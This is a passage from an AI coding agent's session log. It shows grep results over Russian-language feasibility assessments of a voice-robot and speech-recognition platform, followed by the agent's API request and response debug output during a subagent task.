\u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u0435 \u0440\u0443\u0441\u0441\u043a\u043e\u0439 \u0440\u0435\u0447\u0438 | \u0414\u0430 | **\u04231** | [ROBOTFIL, \u00a73.5, \u0441.28-32] \u2014 \u0432\u043a\u043b\u0430\u0434\u043a\u0430 \u00ab\u0420\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\ufffd\\n./runs/2026/RUN-0057/outputs/L2-feasibility-matrix.md:101:| 4.0 | \u041f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0438\u043c\u0435\u0442\u044c \u0432 \u0441\u0432\u043e\u0435\u043c \u0441\u043e\u0441\u0442\u0430\u0432\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0431\u0430\u0437\u0435 GPT \u0434\u043b\u044f \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\\n./runs/2026/RUN-0057/outputs/L2-feasibility-matrix.md:102:| 5.0 | \u041c\u043e\u0434\u0443\u043b\u044c NLU \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d \u043d\u0430 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0439\u0440\u043e\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044f\u0437\u044b\u043a\u043e\u0432\u044b\u0445 \u043c\u043e\u0434\u0435\u043b\u044f\u0445 \u0442\u0438\u043f\u0430 BERT \u0438\u043b\u0438 GPT | \u0414\u0430. | **\u04231\u0447** | [R\\n./runs/2026/RUN-0057/outputs/L2-feasibility-matrix.md:106:| 9.0 | \u041f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f  \u0434\u043b\u044f \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u0439 \u0438 \u043d\ufffd\\n./runs/2026/RUN-0057/outputs/L2-feasibility-matrix.md:138:| 5.9. | - \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u044d\u0442\u0430\u043f\u0430\u0445 \u0434\u0438\u0430\u043b\u043e\u0433\u0430\u0445 \u0440\u0430\u0437\u043d\u044b\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u0447\u0438\u0438 (STT) | \u041d\u0435\u0442. | \u2014 | \u00ab\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0433\u043e\u043b\u043e\ufffd\\n./runs/2026/RUN-0057/outputs/L2-feasibility-matrix.md:158:| 7.3. | - \u041e\u0437\u0432\u0443\u0447\u0438\u0432\u0430\u043d\u0438\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u0438\u043d\u0442\u0435\u0437\u0430 \u0440\u0435\u0447\u0438.\u0421 \u0435\u0433\u043e \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0440\u043e\u0431\u043e\u0442 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0433\u043e\u0432\u0430\u0440\u0438\u0432\u0430\u0442\u044c \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043b\u043e\u0432\u0430 (\u043d\u0430\u043f\u0440\u0438\\n./runs/2026/RUN-0067/metadata.yaml:5:author: \\\"AI issue solver (Claude Code)\\\"\\n./runs/2026/RUN-0061/logs/link-verification.md:69:| [`bpl/functions/deepseek`](https://wiki.twin24.ai/bpl/functions/deepseek) | 200 | 1 | \u0424\u0443\u043d\u043a\u0446\u0438\u0438 DeepSeek | TWIN |\\n./runs/2026/RUN-0061/logs/link-verification.md:71:| [`bpl/functions/gigachat`](https://wiki.twin24.ai/bpl/functions/gigachat) | 200 | 1 | \u0424\u0443\u043d\u043a\u0446\u0438\u0438 GigaChat | TWIN |\\n./runs/2026/RUN-0061/logs/link-verification.md:79:| [`bpl/functions/ygpt`](https://wiki.twin24.ai/bpl/functions/ygpt) | 200 | 1 | \u0424\u0443\u043d\u043a\u0446\u0438\u0438 YandexGPT | TWIN |\\n./runs/2026/RUN-0019/inputs/chat-transcript.md:510:- 4.2. \u0412\u043d\u0435\u0448\u043d\u0438\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 (\u043a\u0430\u043a\u043e\u0439 \u0438\u043c\u0435\u043d\u043d\u043e \u2014 \u00ab\u0418\u043d\u0444\u043e\u043a\u043b\u0438\u043d\u0438\u043a\u0430\u00bb, \u041c\u0418\u0421 \u00ab\u041c\u0435\u0434\u044d\u043b\u0435\u043c\u0435\u043d\u0442\u00bb, Yandex Medicine, \u0441\u0430\u043c\u043e\u043f\u0438\u0441\u043d\u0430\u044f \u0438 \u0442. \u0434.)?\\n./runs/2026/RUN-0019/inputs/chat-transcript.md:1293:\u041f\u043e\u0434 SDK \u043c\u044b \u043f\u043e\u0434\u0440\u0430\u0437\u0443\u043c\u0435\u0432\u0430\u0435\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u043c\u043e\u0434\u0443\u043b\u044c, \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u0438\u043b\u0438 \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434\u0436\u0435\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d \u0432 web-\u0438\\n./runs/2026/RUN-0019/inputs/chat-transcript.md:1306:\u0415\u0441\u043b\u0438 \u0437\u0432\u043e\u043d\u043e\u043a \u0434\u043e\u043b\u0436\u0435\u043d \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u043f\u0440\u044f\u043c\u043e \u0438\u0437 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u041c\u0418\u0421, \u0442\u043e \u0432 \u044d\u0442\u043e\u0442 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0442\u0430\u043a\u0436\u0435 \u0432\u0445\u043e\u0434\u0438\u0442 WebRTC-\u043a\u043b\u0438\u0435\u043d\u0442/\u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\\n./runs/2026/RUN-0019/inputs/chat-export-1064.json:1:[{\\\"id\\\":\\\"70e03f0a-0028-44f2-8a2d-f02c982e24af\\\",\\\"user_id\\\":\\\"8d5b7383-092a-4fba-b32e-15c13d7c41e1\\\",\\\"title\\\":\\\"1064\\\",\\\"chat\\\":{\\\"history\\\":{\\\"messages\\\":{\\\"18163c02-99a3-43d8-a261-30271ace03ab\\\":{\\\"id\\\":\\\"18163c02-99a3-43d8-a2\\n./runs/2026/RUN-0019/outputs/final-artifact.md:109:| \u0424\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438 | \u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u2014 \u00abSDK / \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u044b\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 Mango (\u043d\u0435 Google \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435)\u00bb: \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0438\u043b\u0438 \u0432\u0438\u0434\u0436\u0435\u0442, \u043f\u043e\ufffd\\n./runs/2026/RUN-0024/inputs/1020-chat-export-1787301522802.json:1:[{\\\"id\\\":\\\"87b0b208-c5dc-4a16-aac8-1e0ded507516\\\",\\\"user_id\\\":\\\"8d5b7383-092a-4fba-b32e-15c13d7c41e1\\\",\\\"title\\\":\\\"1020\\\",\\\"chat\\\":{\\\"history\\\":{\\\"messages\\\":{\\\"5c7e3265-40d9-4cd5-943b-d1513541d49c\\\":{\\\"id\\\":\\\"5c7e326\\n./runs/2026/RUN-0020/inputs/transcript.md:2344:2. **\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 BI-\u0441\u0438\u0441\u0442\u0435\u043c:** \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043b\u0438 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 BI-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b (Power BI, Tableau, Yandex DataLens \u0438 \u0434\u0440.)? \u0420\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u043b\ufffd\\n./runs/2026/RUN-0020/inputs/1065-chat-export-1787301452625.json:1:[{\\\"id\\\":\\\"a9792cff-e63d-4db7-8003-f4c1021cb511\\\",\\\"user_id\\\":\\\"8d5b7383-092a-4fba-b32e-15c13d7c41e1\\\",\\\"title\\\":\\\"1065\\\",\\\"chat\\\":{\\\"history\\\":{\\\"messages\\\":{\\\"01c0cf9a-2b7a-4b4b-8d9b-caf7f707304a\\\":{\\\"id\\\":\\\"01c0cf9\\n./runs/2026/RUN-0064/metadata.yaml:5:author: \\\"OpenAI Codex\\\"\\n./runs/2026/RUN-0066/outputs/L0-feasibility-assessment-1099-2.md:254:| 208 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0431\u043e\u0440\u0430 \u0441\u043b\u043e\u0432 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u0442\u0435\u043c\u0430\u0442\u0438\\n./runs/2026/RUN-0066/outputs/L0-feasibility-assessment-1099-2.md:317:| 267 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0438\u043c\u0435\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0440\u043e\u0431\u043e\u0442\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430\\n./runs/2026/RUN-0069/logs/technical-audit.md:13:  \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f; Yandex SpeechKit \u2014 ASR, \u043d\u0435 LLM.\\n./runs/2026/RUN-0069/logs/technical-audit.md:14:- **\u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f ASR-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 7 \u044d\u043c\u043e\u0446\u0438\u0439 (8.1, 8.2):** SSOT \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 3iTech/Yandex\\n./runs/2026/RUN-0069/logs/experiment-log.md:33:  \u00ab\u0414\u0430 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Yandex SpeechKit)\u00bb \u043d\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u043e.\\n./runs/2026/RUN-0069/outputs/L0-feasibility-assessment-1114-2.md:27:- \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0431\u0430\u0437\u043e\u0432\u043e\u0433\u043e \u0434\u0432\u0438\u0436\u043a\u0430 (\u00ab\u0414\u0430 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Yandex SpeechKit)\u00bb) \u043d\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u043e\u0441\u044c:\\n./runs/2026/RUN-0069/outputs/L0-feasibility-assessment-1114-2.md:47:| 4.4 | \u0421\u0435\u0440\u0432\u0438\u0441 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0438 LLM-\u043c\u043e\u0434\u0435\u043b\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f OpenAI, YandexGPT, GigaChat \u0438 DeepSeek \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438 \u043f\ufffd\\n./runs/2026/RUN-0069/outputs/L0-feasibility-assessment-1114-2.md:70:| 8.2. | \u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u0447\u0438 \u0434\u0430\u0436\u0435 \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0430\u043a\u0446\u0435\u043d\u0442\u0430 \u0438\u043b\u0438 \u0440\u0435\u0447\u0435\u0432\u044b\u0445 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u0430\u0431\u043e\u043d\u0435\ufffd\\n./experiments/issue_325_doc_columns_data.py:12:* \u0420\u043e\u0431\u043e\u0442\u044b \u2014 \u00ab\u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u043d\u0430 \u0432\u044b\u0431\u043e\u0440 MANGO OFFICE \u0438\u043b\u0438 Yandex SpeechKit\u00bb\\n./experiments/issue_325_doc_columns_data.py:14:* \u0420\u0435\u0447\u0435\u0432\u0430\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u2014 \u00ab\u0412\u044b\u0431\u043e\u0440 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u044f \u2026 3iTech \u2026 Yandex\\n./experiments/issue_325_doc_columns_data.py:34:    \\\"**\u0414\u0430.** \u00ab\u0422\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u043d\u0430 \u0432\u044b\u0431\u043e\u0440 MANGO OFFICE \u0438\u043b\u0438 Yandex SpeechKit\u00bb, \u044f\u0437\u044b\u043a \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u044f \u2014 \u0440\u0443\u0441\u0441\u043a\u0438\u0439 [ROBOTFIL, \u00a73.5, \u0441.28-32]\\\",\\n./experiments/issue_325_doc_columns_data.py:35:    \\\"**\u0414\u0430.** \u0420\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u043e\u0432 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f\u043c\u0438 3iTech \u0438\u043b\u0438 Yandex SpeechKit [SA, \u00a73.2, \u0441.14-16]\\\",\\n./experiments/issue_325_doc_columns_data.py:39:    \\\"**\u0414\u0430 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Yandex SpeechKit).** [ROBOTFIL] \u0440\u0435\u0436\u0438\u043c\u044b \u0441\u043b\u0438\u0442\u043d\u043e\u0439 \u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0440\u0435\u0447\u0438 \u043d\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u0442; \u043f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0443 \u0442\u043e\u043b\u043a\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0442\u043e\u043a\ufffd\\n./experiments/issue_325_doc_columns_data.py:40:    \\\"**\u0414\u0430 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Yandex SpeechKit / 3iTech).** [SA] \u0440\u0435\u0436\u0438\u043c\u044b \u043d\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u0442; \u0432\u044b\u0432\u043e\u0434 \u0441\u0434\u0435\u043b\u0430\u043d \u043f\u043e \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u043c\u043e\u0433\\n./experiments/issue_325_doc_columns_data.py:49:    \\\"**\u0414\u0430, \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Yandex SpeechKit).** \u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u0432 [ROBOTFIL] \u043d\u0435\u0442; \u043d\u0435\u043e\u043b\u043e\u0433\u0438\u0437\u043c\u044b \u043f\u043e\u043a\u0440\u044b\u0432\ufffd\\n./experiments/issue_325_doc_columns_data.py:50:    \\\"**\u0414\u0430, \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e.** \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u0442\u044c \u0441\u043b\u043e\u0432\u043e \u0432 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u044f [SA, \u00a76.2.1, \u0441.44-46] \u0438 \u043f\u043e\u0434\u0430\u0442\u044c \u0437\u0430\u044f\u0432\u043a\u0443 \u043d\u0430 \u0443\u043b\u0443\u0447\ufffd\\n./experiments/issue_325_doc_columns_data.py:65:    \\\"**\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445.** \u0427\u0438\u0441\u043b\u043e\u0432\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043d\u0435\u0442; \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0434\u0430\u0451\u0442 \u043b\u0438\u0448\u044c \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u0433\u0440\u0430\u0434\u0430\u0446\u0438\u044e: \u00abYandex SpeechKit \u2014 \u0431\u043e\u043b\u0435\u0435 \u0442\u043e\u0447\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u043e\",\n[2026-09-29T07:46:05.264Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:05.264Z] [INFO]       }\n[2026-09-29T07:46:05.264Z] [INFO]     ]\n[2026-09-29T07:46:05.264Z] [INFO]   },\n[2026-09-29T07:46:05.264Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:05.264Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:05.264Z] [INFO]   \"uuid\": \"00c8d06b-9703-41c7-bc50-1826e566a646\",\n[2026-09-29T07:46:05.264Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:05.257Z\",\n[2026-09-29T07:46:05.264Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:05.264Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:05.264Z] [INFO] }\n[2026-09-29T07:46:05.301Z] [STDOUT] [log_7493be] sending request {\n[2026-09-29T07:46:05.308Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:05.313Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:05.320Z] [STDOUT]   options: {\n[2026-09-29T07:46:05.324Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:05.331Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:05.336Z] [STDOUT]     body: {\n[2026-09-29T07:46:05.338Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:05.345Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:05.350Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:05.354Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:05.361Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:05.363Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:05.373Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:05.377Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:05.381Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:05.385Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:05.388Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:05.398Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:05.407Z] [STDOUT]     },\n[2026-09-29T07:46:05.411Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:05.448Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:05.455Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:05.458Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:05.465Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:05.468Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:05.476Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:05.485Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:05.498Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:05.507Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:05.520Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:05.525Z] [STDOUT]     },\n[2026-09-29T07:46:05.530Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:05.534Z] [STDOUT]   },\n[2026-09-29T07:46:05.538Z] [STDOUT]   headers: {\n[2026-09-29T07:46:05.540Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:05.545Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:05.549Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:05.552Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:05.559Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:05.570Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:05.577Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:05.590Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:05.596Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:05.602Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:46:05.609Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:46:05.614Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=3996\",\n[2026-09-29T07:46:05.622Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:05.629Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:46:05.635Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:05.639Z] [STDOUT]     \"x-client-request-id\": \"a40e3b0b-d6dd-4aa9-8b45-7d9ee235d74c\",\n[2026-09-29T07:46:05.647Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:05.655Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:05.660Z] [STDOUT]     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url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:06.585Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:06.597Z] [STDOUT]   body: X {\n[2026-09-29T07:46:06.606Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:06.629Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:06.634Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:06.648Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:06.658Z] [STDOUT]     },\n[2026-09-29T07:46:06.666Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:06.678Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:06.682Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:06.683Z] [STDOUT]   },\n[2026-09-29T07:46:06.691Z] [STDOUT]   durationMs: 855,\n[2026-09-29T07:46:06.715Z] [STDOUT] }\n[2026-09-29T07:46:07.574Z] [INFO] {\n[2026-09-29T07:46:07.574Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:07.574Z] [INFO]   \"message\": {\n[2026-09-29T07:46:07.574Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:07.574Z] [INFO]     \"content\": [\n[2026-09-29T07:46:07.574Z] [INFO]       {\n[2026-09-29T07:46:07.574Z] [INFO]         \"tool_use_id\": \"toolu_01EaoK7mx2iyNhgJAYuJXYuH\",\n[2026-09-29T07:46:07.574Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:07.574Z] [INFO]         \"content\": \"=== artifact-micro-structure\\n## BLUF: \u0434\u0435\u0441\u044f\u0442\u044c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439\\n\\n1. **\u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043d\u0435 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f.** 17\\n   \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u0434\u0430\u043b\u0438 17 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 